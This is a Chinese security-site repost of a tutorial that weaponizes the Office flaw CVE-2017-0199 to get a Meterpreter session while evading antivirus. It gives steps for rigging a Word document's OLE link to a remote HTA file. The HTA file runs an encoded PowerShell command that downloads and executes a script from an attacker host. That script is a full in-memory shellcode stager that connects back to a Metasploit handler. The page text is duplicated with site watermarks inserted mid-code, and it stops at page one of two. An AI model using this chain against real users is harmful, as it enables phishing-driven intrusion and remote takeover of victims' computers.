欢迎来到 无奈人生 安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

CVE-2017-0199结合powershell过杀软弹回meterpreter

来源: 作者: 时间:2019-02-24 19:29 点击: 我要投稿
广告位API接口通信错误,查看德得广告获取帮助

0x01 介绍
CVE-2017-0199是2017年4月11日发布的一个Microsoft Office RTF漏洞,当用户打开包含嵌入式漏洞的文档时,允许使用者下载并执行恶意的Visual Basic脚本。office使用用户非常多,因此该漏洞可用作许多社工攻击了。
当我们需要弹回一个meterpreter时总要考虑免杀的问题,一般的exe完全没有在安装杀软的机器上得到执行的机会。
考虑到powershell的无文件特性,这里使用powershell倒是可以一试。
为什么免杀
1.这里不需要执行msfvenom生成的恶意程序,因为基本上所有的杀软都会杀掉的
2.使用powershell加载脚本执行,弹meterpreter的功能用ps1脚本实现
0x02 技术细节
在可访问服务器(你的vps or 肉鸡)建立一个RTF空文件(目的在于避免下面插入对象时不存在而出错)。
shell
echo ''>rtf.rtf
新建一个word文档--插入--对象(在右边栏下)--由文件创建--加上`http://xxxxxx/rtf.rtf`

记得勾选`链接到文件`,另保存为docx文件,
然后修改内部加载。可以将docx后缀换为zip--打开
找到word\\_rels\document.xml.rels 文件编辑
找到oleObject对象。如下
xml
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://x.x.x.x/xx.rtf"
x.x.x.x 就是之前制作docx的插入服务器ip地址。修改为
xml
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://x.x.x.x/hta.hta"
 

然后保存覆盖
在服务器添加一个hta.hta文件,放到上面链接能访问到的位置,hta内容如下:
html
head>
var c= 'C:\\Windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe -ep bypass -enc QwA6AFwAVwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHcAaQBuAGQAbwB3AHMAcABvAHcAZQByAHMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAGUAcAAgAGIAeQBwAGEAcwBzACAASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AeAAuAHgALgB4AC4AeAAvAHIAZQB2AC4AcABzADEAJwApADsAcgBlAHYADQAKAA==';new ActiveXObject('WScript.Shell').Run(c,0);/script>
/head>
self.close();/script>
/body>
/html>
这是一个远程运行powershell反弹meterpreter的运行语句
其中一段base64解码完成后的powershell语句如下,这里编码的好处是可以避免一些特殊字符带来的错误。
powershell
C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -ep bypass IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/rev.ps1');rev
如果这里是32为系统 则可以不加前面的路径,如下

powershell.exe -ep bypass IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/rev.ps1');rev
现在来解释这个`http://x.x.x.x/rev.ps1`是什么?
这也是一个放在可访问的服务器下的powershell脚本,内容如下
powershell
function rev {
$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
"@
try{$s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)
$s.Connect('x.x.x.x', 2333) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0
$y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF
while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) }
for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]}
$t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40)
[System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length)
$t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}
}
注意其中的`$s.Connect('x.x.x.x', 2333)`就是你msf监听的地址和端口。修改后放在一个可访问的服务器上即可。
然后编码你这个powershell语句 放入hta文件中

`echo IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/rev.ps1');rev|iconv --to-code UTF-16LE |base64`
开启msf监听,
shell
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST x.x.x.x

[1] [2]  下一页

0x01 介绍
CVE-2017-0199是2017年4月11日发布的一个Microsoft Office RTF漏洞,当用户打开包含嵌入式漏洞的文档时,允许使用者下载并执行恶意的Visual Basic脚本。office使用用户非常多,因此该漏洞可用作许多社工攻击了。
当我们需要弹回一个meterpreter时总要考虑免杀的问题,一般的exe完全没有在安装杀软的机器上得到执行的机会。
考虑到powershell的无文件特性,这里使用powershell倒是可以一试。
为什么免杀
1.这里不需要执行msfvenom生成的恶意程序,因为基本上所有的杀软都会杀掉的
2.使用powershell加载脚本执行,弹meterpreter的功能用ps1脚本实现
0x02 技术细节
在可访问服务器(你的vps or 肉鸡)建立一个RTF空文件(目的在于避免下面插入对象时不存在而出错)。
shell
echo ''>rtf.rtf
新建一个word文档--插入--对象(在右边栏下)--由文件创建--加上`http://xxxxxx/rtf.rtf`

无奈人生安全网



记得勾选`链接到文件`,另保存为docx文件,
然后修改内部加载。可以将docx后缀换为zip--打开
找到word\\_rels\document.xml.rels 文件编辑
找到oleObject对象。如下
xml
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://x.x.x.x/xx.rtf"
x.x.x.x 就是之前制作docx的插入服务器ip地址。修改为
xml
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://x.x.x.x/hta.hta"
 

然后保存覆盖
在服务器添加一个hta.hta文件,放到上面链接能访问到的位置,hta内容如下:
html
head>
var c= 'C:\\Windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe -ep bypass -enc QwA6AFwAVwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHcAaQBuAGQAbwB3AHMAcABvAHcAZQByAHMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAGUAcAAgAGIAeQBwAGEAcwBzACAASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AeAAuAHgALgB4AC4AeAAvAHIAZQB2AC4AcABzADEAJwApADsAcgBlAHYADQAKAA==';new ActiveXObject('WScript.Shell').Run(c,0);/script> 内容来自无奈安全网
/head>
self.close();/script>
/body>
/html>
这是一个远程运行powershell反弹meterpreter的运行语句
其中一段base64解码完成后的powershell语句如下,这里编码的好处是可以避免一些特殊字符带来的错误。
powershell
C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -ep bypass IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/rev.ps1');rev
如果这里是32为系统 则可以不加前面的路径,如下

powershell.exe -ep bypass IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/rev.ps1');rev
现在来解释这个`http://x.x.x.x/rev.ps1`是什么?
这也是一个放在可访问的服务器下的powershell脚本,内容如下
powershell
function rev {
$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
"@
try{$s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp) 本文来自无奈人生安全网
$s.Connect('x.x.x.x', 2333) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0
$y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF
while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) }
for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]}
$t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40)
[System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length)
$t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}
}
注意其中的`$s.Connect('x.x.x.x', 2333)`就是你msf监听的地址和端口。修改后放在一个可访问的服务器上即可。
然后编码你这个powershell语句 放入hta文件中

`echo IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/rev.ps1');rev|iconv --to-code UTF-16LE |base64`

本文来自无奈人生安全网


开启msf监听,
shell
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST x.x.x.x
本文来自无奈人生安全网

[1] [2]  下一页

本文来自无奈人生安全网

。 (责任编辑:admin)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。